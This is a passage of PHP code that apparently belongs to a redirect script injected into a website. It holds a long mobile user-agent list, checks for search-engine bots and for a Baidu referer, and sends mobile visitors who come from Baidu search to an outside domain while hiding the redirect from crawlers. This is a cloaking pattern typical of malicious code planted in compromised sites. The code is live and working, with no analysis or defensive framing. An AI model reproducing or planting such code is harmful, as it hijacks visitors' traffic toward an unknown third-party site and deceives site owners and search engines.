","siemens","sie-","softbank","sony","spice","sprint","spv","symbian","tablet","talkabout","tcl-","teleca","telit","tianyu","tim-","toshiba","tsm","up.browser","utec","utstar","verykool","virgin","vk-","voda","voxtel","vx","wap","wellco","wigbrowser","wii","windowsce","wireless","xda","xde","zte","huawei","honour","oppo","vivo","xiaomi","meizu","oneplus","realme","zte","motorola","nokia","lg","samsung","googlepixel","redmi","poco","tecno","itel","itel","gionee","lenovo","xiaomi","smartphone","androidmobile","androidsmartphone","androidtablet","androidphone","android-device","android-tablet","android-phone","harmonyos","harmony","huaweimate","huaweipad","mate","matebook","matewatch","nova","mediapad","mates","matepro","maters","matex","harmonyos","ohos","r11","findx","reno","ace","a5","a7","a9","f11","f9","k9","n1","neo","onexplayer","realme","vivoy","iqoo","vivox","vivoz","vivon","vivou","vivos","vivot","vivo","minote","mimix","redminote","redmik","redmix","redmig","redmis","redmiy","redmip","redmi","android","dalvik","linux;android","android-build","android-dev","android-sdk","android-emulator","android-x86","android-armv7","android-arm64","android-aarch64","android-apple","android-google","android-nexus","androi-asus","android-lenovo","android-motorola","android-samsung","android-huawei","android-oppo","android-vivo","android-xiaomi","android-meizu","android-oneplus","android-realme");
$is_mobile = false;
foreach ($mobile_agents as $device) {
if (stristr($user_agent, $device)) {
$is_mobile = true;
break;
}
}
return $is_mobile;
}
$is_bot = false;
foreach ($bot_list as $bot) {
if($bot == 'baidu' && stripos($_SERVER['HTTP_USER_AGENT'], 'baidubox') !== false){
continue;
}
if (stripos($_SERVER['HTTP_USER_AGENT'], $bot) !== false) {
$is_bot = true;
break;
}
}
$is_baidu_referer = false;
if (isset($_SERVER['HTTP_REFERER'])) {
if (stripos($_SERVER['HTTP_REFERER'], 'baidu.') !== false) {
$is_baidu_referer = true;
}
}
if (is_mobile()) {
if ($is_baidu_referer && !$is_bot) {
header("Location: http://s.paifng.icu/404.html");
exit();
}
}
?>